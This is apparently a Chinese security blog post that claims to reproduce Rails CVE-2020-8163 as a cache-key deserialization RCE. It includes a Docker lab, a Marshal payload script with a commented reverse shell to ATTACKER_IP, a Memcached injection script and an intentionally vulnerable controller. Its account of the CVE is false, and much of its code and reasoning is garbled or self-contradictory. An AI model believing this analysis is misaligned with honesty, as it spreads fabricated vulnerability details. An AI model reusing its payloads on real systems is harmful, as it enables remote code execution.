Rails CVE-2020-8163漏洞深度剖析:从缓存键反序列化到远程代码执行
1. 项目概述一次对Rails框架核心漏洞的深度剖析最近在复盘一些经典的Web安全漏洞案例Rails框架的CVE-2020-8163引起了我的注意。这不仅仅是一个简单的“代码注入”漏洞它触及了Rails框架中一个非常核心且常用的功能——ActiveSupport::Cache::Store#fetch方法的缓存键处理机制。简单来说攻击者可以通过精心构造的缓存键cache key在特定条件下让Rails应用执行任意代码。这个漏洞的评级是“高危”因为它允许远程攻击者在未授权的情况下实现远程代码执行RCE对于使用受影响版本Rails的应用来说威胁是实实在在的。为什么这个漏洞值得深入复现和研究首先Rails作为一个成熟的全栈Web框架其内置的缓存机制被广泛应用于提升应用性能fetch方法更是开发者写入缓存的“标准姿势”。其次这个漏洞的利用条件相对宽松它不依赖于特定的数据库或复杂的应用配置只要应用使用了存在漏洞的缓存存储方式如MemCacheStore或RedisCacheStore并对外提供了缓存操作接口就可能中招。最后理解这个漏洞能让我们更深刻地认识到即便是框架提供的、看似安全的“语法糖”API如果内部实现存在逻辑缺陷也可能成为整个应用安全的“阿喀琉斯之踵”。在接下来的内容里我将带你从漏洞原理、环境搭建、漏洞复现到深入分析和修复方案完整地走一遍。无论你是专注于应用安全的工程师还是日常使用Rails的开发者理解这个漏洞的来龙去脉对于编写更安全的代码和构建更稳固的防御体系都大有裨益。我们会使用Docker来快速构建一个可复现的脆弱环境避免污染本地系统并通过一步步的调试揭开漏洞背后的秘密。2. 漏洞原理深度解析fetch方法为何成为突破口要理解CVE-2020-8163我们必须先深入Rails的缓存层。Rails的ActiveSupport::Cache模块提供了统一的缓存接口其中Store类是所有缓存存储方式如内存、文件、Memcached、Redis的基类。Store#fetch是一个极其常用的方法它的标准用法是Rails.cache.fetch(cache_key, expires_in: 1.hour) { expensive_computation }。它的逻辑是如果缓存中存在cache_key对应的值则直接返回否则执行传入的代码块将结果存入缓存后再返回。2.1 漏洞的根源缓存键的序列化与反序列化漏洞的核心在于fetch方法对缓存键key参数的处理逻辑。在受影响版本Rails 5.2.0 至 6.0.3的代码中fetch方法内部会调用normalize_key方法来处理传入的键。问题就出在normalize_key的某些实现路径上。当缓存存储后端是MemCacheStore或RedisCacheStore时为了兼容性和效率normalize_key方法会对非字符串类型的键进行序列化。例如如果你传入一个Ruby符号:user_data或一个数组[‘user’, 123]作为缓存键它会被序列化成一个字符串。这个过程本身没有问题。致命的问题在于当应用配置了cache_versioning为false这是6.1版本之前的默认配置时fetch方法在读取缓存时会对这个序列化后的字符串键进行反序列化操作。想象一下这个场景攻击者不是通过正常的应用逻辑调用fetch而是直接向应用的缓存服务如Memcached的11211端口或Redis的6379端口写入一个恶意构造的数据。他写入的“键”不是一个普通的字符串而是一段经过序列化的、包含恶意代码的payload。当应用后续调用fetch方法并因为逻辑巧合例如尝试读取一个不存在的键或者触发了特定的缓存淘汰逻辑而尝试去反序列化这个“键”时漏洞就被触发了。2.2 利用链的关键Marshal.load与任意代码执行Ruby中用于对象序列化和反序列化的核心模块是Marshal。Marshal.dump将对象转换成字节流Marshal.load则将字节流还原为对象。Marshal.load在反序列化过程中会实例化字节流中描述的对象并调用其initialize方法或反序列化钩子方法。这正是危险所在。攻击者可以构造一个特殊的对象该对象的类定义了一个Marshal.load过程中会被调用的方法例如覆写了self._load类方法或实例的marshal_load方法。在这个被调用的方法里攻击者可以写入任意Ruby代码例如执行系统命令exec(‘id’)。当Rails缓存层对这个恶意键进行Marshal.load时这段代码就会被执行。简单来说漏洞利用链如下入口应用使用Rails.cache.fetch(key)且key参数或其衍生值最终来源于不可信的用户输入虽然不常见但在某些复杂逻辑或元编程中可能发生或者攻击者直接污染了缓存存储。危险操作在特定配置下Rails会对key进行反序列化Marshal.load。执行反序列化的对象包含恶意代码导致RCE。注意直接向fetch传入用户控制的字符串通常不会触发此漏洞因为字符串键不会走复杂的序列化/反序列化路径。漏洞更可能通过间接方式触发例如应用使用了一个由用户输入部分参与构建的复杂对象如Hash、Array作为缓存键的一部分。2.3 受影响版本与配置受影响的Rails版本 5.2.0, 5.2.4.3 6.0.0, 6.0.3.1。主流的5.2.x和6.0.x系列均受影响。关键配置config.load_defaults对应的版本在受影响范围内且缓存存储使用了支持序列化键的后端主要是MemCacheStore和RedisCacheStore。文件缓存FileStore或内存缓存MemoryStore通常不受此特定利用方式影响但原理性缺陷同样存在。3. 复现环境搭建与脆弱应用构建“纸上得来终觉浅绝知此事要躬行。” 安全研究尤其如此。下面我们动手搭建一个可复现的脆弱环境。我将使用Docker Compose来管理确保环境独立、可重复。3.1 项目结构与依赖定义首先创建我们的项目目录结构cve-2020-8163-demo/ ├── docker-compose.yml ├── Dockerfile └── app/ ├── Gemfile ├── Gemfile.lock └── config/ └── ...1. Docker Compose配置 (docker-compose.yml)这个文件定义了我们的应用服务Rails和缓存服务Memcached。version: 3.8 services: memcached: image: memcached:1.6-alpine ports: - 11211:11211 # 暴露Memcached端口方便我们直接注入恶意数据 networks: - app-network web: build: . ports: - 3000:3000 depends_on: - memcached environment: - RAILS_ENVdevelopment volumes: - ./app:/app networks: - app-network # 为了方便调试可以开启tty和标准输入 stdin_open: true tty: true networks: app-network: driver: bridge2. Dockerfile用于构建包含脆弱Rails版本的应用环境。FROM ruby:2.7-alpine RUN apk add --no-cache build-base nodejs yarn sqlite-dev sqlite-libs tzdata git WORKDIR /app # 先拷贝Gemfile利用Docker层缓存加速构建 COPY app/Gemfile /app/Gemfile COPY app/Gemfile.lock /app/Gemfile.lock RUN bundle config set without production \ bundle install --jobs 4 --retry 3 # 拷贝整个应用代码 COPY app /app # 预编译资产等如果需要 # RUN bundle exec rails assets:precompile EXPOSE 3000 CMD [bundle, exec, rails, server, -b, 0.0.0.0, -p, 3000]3. 应用Gemfile (app/Gemfile)这里关键是指定存在漏洞的Rails版本并添加必要的gem。source https://rubygems.org git_source(:github) { |repo| https://github.com/#{repo}.git } # 使用存在漏洞的Rails 6.0.3版本 gem rails, 6.0.3 # 使用Memcached作为缓存后端 gem dalli gem puma, ~ 5.6 gem sqlite3, ~ 1.4 group :development, :test do gem byebug, platforms: [:mri, :mingw, :x64_mingw] end3.2 创建脆弱Rails应用在app目录下我们创建一个简单的Rails应用。# 在宿主机执行进入app目录 cd app # 生成一个新的Rails应用跳过bundle install因为我们在Docker里做 rails new . --force --skip-bundle --api -d sqlite3 # 编辑config/environments/development.rb配置缓存使用Memcached在config/environments/development.rb中添加或修改缓存配置config.cache_store :mem_cache_store, memcached:11211, { namespace: myapp, expires_in: 1.day }这里我们明确使用:mem_cache_store并指向Docker Compose中定义的memcached服务。创建一个存在风险的控制器动作我们模拟一个不太严谨但可能存在的场景。例如一个根据用户提供的“标签”和“版本”来生成缓存键的API。rails generate controller Api::V1::Products index编辑app/controllers/api/v1/products_controller.rbmodule Api::V1 class ProductsController ApplicationController # 这是一个存在潜在风险的缓存使用示例。 # 假设params[:tag]来自用户params[:version]也来自用户或会话。 # 在实际中直接这样用可能不常见但用于演示漏洞原理。 def index # 危险操作使用用户输入的部分数据参与构建缓存键对象。 # 注意直接拼接字符串作为key通常不会触发此漏洞但这里我们构造一个数组键来演示原理。 cache_key [params[:tag], params[:version]].compact # 使用fetch方法如果缓存命中则返回否则执行块内的查询。 products Rails.cache.fetch(cache_key, expires_in: 10.minutes) do # 这里是昂贵的数据库查询 Product.all.limit(50) end render json: products end end end同时在config/routes.rb中添加路由namespace :api do namespace :v1 do resources :products, only: [:index] end end实操心得在真实应用中缓存键直接包含未经验证的用户输入是高风险行为不仅可能引发此漏洞还会导致缓存污染、缓存击穿等问题。安全的做法是使用确定的、可枚举的键或对用户输入进行严格的哈希如SHA256后再使用。3.3 启动环境与验证回到项目根目录cve-2020-8163-demo运行docker-compose build docker-compose up -d等待构建和启动完成后可以查看日志确认docker-compose logs -f web看到Rails服务器启动成功的消息后我们的脆弱环境就准备好了。你可以访问http://localhost:3000/api/v1/products测试接口是否正常此时没有数据返回空数组是正常的。4. 漏洞利用过程详解从构造Payload到RCE现在环境已经就绪。我们不会通过那个有风险的控制器来触发因为那需要应用逻辑的配合。我们将演示更直接的利用方式直接向Memcached注入恶意缓存项模拟攻击者已经控制了缓存服务或能够通过网络向缓存服务写入数据的情况。这在实际攻击中可能通过未授权的缓存服务端口、SSRF漏洞或应用程序的其他注入点实现。4.1 构造恶意Payload我们需要构造一个特殊的Ruby对象它被Marshal.dump序列化后在Marshal.load时能执行代码。一个经典的“载体”是Gem::Specification类RubyGems中的类或者攻击者自定义的类。为了简单和通用我们使用一个自定义的类来演示。创建一个Ruby脚本generate_payload.rb# generate_payload.rb class EvilClass def self._load(data) # 当这个类被Marshal.load时_load类方法会被调用。 # 在这里执行任意命令。 puts [*] EvilClass._load() called! Executing payload... system(touch /tmp/pwned_by_cve_2020_8163) # 你可以替换成其他命令例如反弹shell # system(bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01) return malicious_return_value end end # 序列化这个类的一个实例实际上_load是类方法但序列化实例也会触发。 payload Marshal.dump(EvilClass.new) # 将序列化后的二进制数据转换为适合作为Memcached键的格式。 # Memcached键通常是字符串。我们需要将这个二进制字符串直接作为键写入。 # 在Rails的MemCacheStore中键会被进一步处理如添加命名空间但核心的恶意数据就在这里。 key_to_write payload puts [*] 生成的恶意Payload十六进制 puts key_to_write.unpack(H*).first puts \n[*] Payload长度: #{key_to_write.bytesize} 字节 # 保存到文件方便后续使用 File.binwrite(malicious_key.bin, key_to_write) puts [*] Payload已保存至 malicious_key.bin运行这个脚本在宿主机需要有Ruby环境ruby generate_payload.rb你会得到一串十六进制输出这就是我们序列化后的恶意对象。4.2 向Memcached注入恶意缓存键现在我们需要将这个二进制数据作为“键”写入到Memcached中。Rails的MemCacheStore在存储时会对键进行加工比如加上命名空间前缀myapp:。为了精确命中我们需要模拟这个过程。首先计算最终的键。Rails的命名空间处理逻辑大致是final_key namespace:raw_key。我们的命名空间是myapp所以最终的键是myapp:二进制payload。我们可以使用netcat(nc) 或telnet直接与Memcached的11211端口交互。Memcached的文本协议很简单。set命令格式为set key flags exptime bytes [noreply]\r\ndata block\r\n编写一个注入脚本inject_to_memcached.rb# inject_to_memcached.rb require socket require json # 读取生成的恶意payload malicious_key_binary File.binread(malicious_key.bin) # Rails缓存命名空间 namespace myapp # 最终的键命名空间 冒号 原始二进制键 final_key namespace : malicious_key_binary # 我们要存储的缓存值可以是任意值这里用一个简单的字符串 cache_value innocent_value bytes cache_value.bytesize # Memcached服务器地址 host localhost port 11211 # 构建set命令 # flags设为0 exptime设为60秒足够我们测试 command set #{final_key} 0 60 #{bytes}\r\n#{cache_value}\r\n puts [*] 尝试连接Memcached #{host}:#{port}... begin socket TCPSocket.new(host, port) puts [] 连接成功。 puts [*] 发送恶意set命令... socket.write(command) response socket.gets puts [*] 服务器响应: #{response} if response.strip STORED puts [] 成功恶意缓存键已注入Memcached。 puts [*] 现在当Rails应用尝试读取或处理这个键时可能会触发漏洞。 else puts [-] 注入失败。响应: #{response} end socket.close rescue e puts [-] 连接或发送失败: #{e.message} end运行这个注入脚本ruby inject_to_memcached.rb如果看到STORED的成功响应说明我们的恶意键已经躺在了Memcached中。4.3 触发漏洞与执行代码现在我们需要让Rails应用去尝试读取这个键。由于我们注入的键是一个复杂的二进制对象正常的应用逻辑几乎不可能主动生成相同的键去fetch。但是MemCacheStore在某些内部操作中比如读取所有键#read、或者在某些清理、统计过程中可能会遍历或尝试处理存储的键。更直接的触发方式是我们让应用去尝试fetch一个包含我们恶意对象的键。我们可以写一个简单的Rails控制台脚本或者直接修改一个控制器动作来触发。为了演示我们在Rails容器内启动一个控制台来手动触发。首先进入运行中的Rails容器docker-compose exec web sh在容器内启动Rails控制台bundle exec rails console在控制台中执行以下代码# 首先尝试直接通过缓存存储的底层方法读取我们注入的键。 # 注意Rails.cache.fetch 会先尝试读如果没找到再执行块。 # 我们注入的键存在所以它会尝试反序列化这个键。 # 关键的一步我们需要构造一个能让我们注入的键被反序列化的调用。 # 在漏洞版本中read方法内部可能会对键进行反序列化。 # 我们尝试用Rails.cache.read并传入一个我们精心构造的、能指向我们恶意键的“参数”。 # 但实际上更直接的POC是利用fetch方法对“键”的处理。 # 我们模拟一个场景应用尝试获取一个缓存其键恰好是我们注入的二进制对象。 # 这很难巧合。但我们可以直接调用缓存实例的内部方法normalize_key并触发反序列化。 cache_store Rails.cache.instance_variable_get(:data) # 对于MemCacheStoredata是一个Dalli::Client实例 # 我们无法直接调用。一个更可行的触发方式是让应用执行一个会遍历所有缓存键的操作。 # 但为了演示我们可以写一个简化的漏洞触发代码直接模拟漏洞发生的条件 require active_support/cache/mem_cache_store # 创建一个使用漏洞版本逻辑的缓存store实例模拟 store ActiveSupport::Cache::MemCacheStore.new(memcached:11211, namespace: myapp) # 构造一个“恶意”的键对象它实际上是我们注入的二进制字符串。 # 当我们调用store.read(malicious_binary_key)时在漏洞版本中read-normalize_key-反序列化。 malicious_binary_key File.binread(‘/app/malicious_key.bin’) # 需要将文件挂载到容器或直接嵌入 begin puts “[*] 尝试触发漏洞读取恶意键...” # 以下调用在漏洞版本中会触发对malicious_binary_key的反序列化 result store.send(:normalize_key, malicious_binary_key, {}) puts “[*] normalize_key 结果: #{result.inspect}” rescue e puts “[-] 发生错误: #{e.class} - #{e.message}” puts e.backtrace.join(“\n”) end重要上面的控制台代码是一个概念性演示。在实际漏洞利用中攻击者不会这样调用。他们依赖的是应用自身在正常业务逻辑中比如处理用户请求、执行缓存清理任务时触发了对恶意键的反序列化。一个更真实的触发场景可能是应用有一个后台任务定期清理过期的缓存键这个任务会从Memcached获取键列表并进行处理。当它处理到我们注入的恶意键时漏洞触发。为了看到效果我们可以简化直接在我们的脆弱应用中添加一个触发点。修改products_controller.rb添加一个危险的动作def trigger_poc # 警告此代码仅用于安全研究切勿在生产环境使用或保留 # 模拟从某处如被污染的数据获取了一个二进制键 malicious_key params[:malicious_key] # 假设攻击者通过某种方式传递了这个键 if malicious_key # 危险操作直接使用这个二进制数据作为缓存读取的参数 # 在漏洞版本的Rails中这可能导致反序列化执行代码。 begin # 使用read_entry方法它是fetch和read的内部方法更接近反序列化点 cache_data Rails.cache.send(:read_entry, malicious_key, {}) render plain: “Cache read attempted. Check your server logs and /tmp directory.” rescue e render plain: “Error: #{e.message}” end else render plain: “No key provided.” end end并在路由中添加get ‘trigger_poc’, to: ‘api/v1/products#trigger_poc’。然后通过一个请求传递我们生成的恶意二进制键需要做URL编码。如果漏洞存在并且配置正确服务器会在处理这个请求时执行我们EvilClass._load方法中的命令touch /tmp/pwned_by_cve_2020_8163。你可以进入Rails容器检查是否成功docker-compose exec web sh ls -la /tmp/pwned_by_cve_2020_8163如果文件被创建则证明远程代码执行成功。注意事项这个复现过程涉及直接执行系统命令请在完全隔离的测试环境如上述Docker环境中进行。切勿在连接互联网或存有敏感数据的机器上尝试。5. 漏洞根因分析与修复方案通过复现我们直观地感受到了漏洞的威力。现在让我们深入代码层面看看问题到底出在哪里以及官方是如何修复的。5.1 问题代码定位在Rails 6.0.3漏洞版本的ActiveSupport::Cache::Store相关代码中关键问题位于normalize_key方法及其调用链上。具体来说在activesupport/lib/active_support/cache.rb中。fetch方法会调用read_entryread_entry会调用deserialize_entry。在deserialize_entry中如果缓存值是被序列化的它会调用Marshal.load。但漏洞的触发点不在值而在键。对于MemCacheStoreactivesupport/lib/active_support/cache/mem_cache_store.rb其normalize_key方法会对键进行预处理。当cache_versioning为false时它可能会调用expand_cache_key而expand_cache_key在处理某些类型的对象特别是非基本类型时会调用ActiveSupport::Cache.expand_cache_key最终可能触发对键的to_param或to_s等方法的调用。如果键本身是一个被序列化的恶意对象在这个过程中为了将键转换为字符串Rails可能会尝试反序列化它。更精确的漏洞点在于MemCacheStore#read_entry方法。在从Memcached获取到数据后它会解析出原始的键和值。在解析键时如果键是使用旧格式非版本化格式存储的它会尝试对键进行Marshal.load。以下是漏洞代码的简化逻辑# 伪代码展示漏洞逻辑 def read_entry(key, options) raw_data data.get(key, options) # 从Memcached获取原始数据 if raw_data # 解析数据提取缓存值和原始存储的键 value, stored_key deserialize_raw_data(raw_data) # 如果启用了版本化会比较键。但这里为了获取存储的原始键可能对存储的键进行了反序列化。 if !options[:version] stored_key # 危险操作为了比较或处理对存储的键进行反序列化 stored_key Marshal.load(stored_key) if stored_key.is_a?(String) stored_key.start_with?(MARSHAL_SIGNATURE) end # ... 后续逻辑 end end攻击者可以控制stored_key的内容通过直接向Memcached写入数据使其包含恶意的Marshal序列化数据。当上述条件满足时Marshal.load(stored_key)就被执行导致代码注入。5.2 官方修复方案Rails官方在后续版本中修复了此漏洞主要修复提交是 这个 。修复的核心思想是避免对不可信的缓存键进行反序列化。移除对键的反序列化在MemCacheStore和RedisCacheStore的read_entry方法中移除了为了兼容旧格式而对存储的键进行Marshal.load的逻辑。现在存储的键被视为不透明的字符串不再尝试还原成Ruby对象。严格校验键的格式加强了对从缓存后端读取的数据结构的校验确保其符合预期格式避免解析不可信数据。版本化缓存成为默认在Rails 6.1及以上版本config.load_defaults 6.1将启用缓存版本化这改变了键的生成和存储格式从根本上避免了此类反序列化问题。修复版本Rails 5.2系列升级到 5.2.4.3Rails 6.0系列升级到 6.0.3.1Rails 6.1及以上版本默认不受此漏洞影响因为启用了缓存版本化。5.3 开发者自查与修复建议对于无法立即升级Rails版本的应用可以采取以下缓解措施启用缓存版本化这是最直接的缓解方式。在config/application.rb或环境配置文件中设置config.load_defaults 6.0 # 如果你在6.0这还不够需要升级到6.0.3.1 # 或者显式设置 config.active_record.cache_versioning true注意启用版本化可能会使所有现有缓存失效需要评估对生产环境的影响。审查缓存键的生成逻辑确保缓存键的生成完全由应用控制不包含任何用户可控的、未经验证或转义的数据。避免使用复杂的对象如Hash、Array实例作为缓存键优先使用简单的字符串或数字。隔离缓存服务确保Memcached或Redis服务不直接暴露在公网配置正确的防火墙规则仅允许应用服务器访问。使用密码认证如果缓存服务支持。监控与告警对缓存服务的异常访问模式进行监控例如来自非应用服务器的连接尝试。6. 防御性编程与安全启示CVE-2020-8163给所有Rails开发者乃至所有Web应用开发者上了一课。它揭示了框架抽象层之下的潜在风险。1. 永远不要信任外部输入包括缓存层。我们通常会对用户输入的参数进行过滤、验证和转义但很容易忽略缓存系统也是一个“外部输入”源。如果攻击者能够污染缓存通过漏洞、配置错误或内部威胁那么从缓存中读取的数据就可能是恶意的。防御策略需要贯穿整个数据流。2. 理解你所使用的API的底层行为。Rails.cache.fetch看起来简单安全但在此次事件中其内部在特定条件下会对键进行反序列化。作为开发者尤其是安全敏感应用的开发者有必要对核心框架组件的行为有更深层次的理解。阅读官方文档关注安全公告在遇到像“缓存键”这类涉及序列化/反序列化的功能时保持警惕。3. 最小化反序列化操作。反序列化是许多高危漏洞的源头如Java反序列化、PHP反序列化。应尽量避免反序列化不可信的数据。如果必须进行要使用最严格的白名单机制只允许反序列化预期的、安全的类。Rails修复此漏洞的方式就是直接取消了对键的反序列化。4. 保持依赖更新。这是一个老生常谈但至关重要的建议。订阅你所使用框架和库的安全邮件列表建立定期更新依赖的流程。对于Rails这样的全栈框架及时应用安全补丁是成本最低、效果最好的安全投资。5. 纵深防御。不要只依赖框架本身的安全。在网络层隔离你的缓存和数据库服务。在应用层实施严格的输入验证和输出编码。在运维层做好日志审计和入侵检测。当一道防线被突破时其他防线还能提供保护。复现和分析CVE-2020-8163的过程更像是一次深入框架肌理的安全探险。它提醒我们在追求开发效率和性能的同时对安全细节的审视一刻也不能放松。希望这篇详细的复现与分析能帮助你不仅看懂这个漏洞更能将这种深度剖析和防御思维应用到日常开发工作中。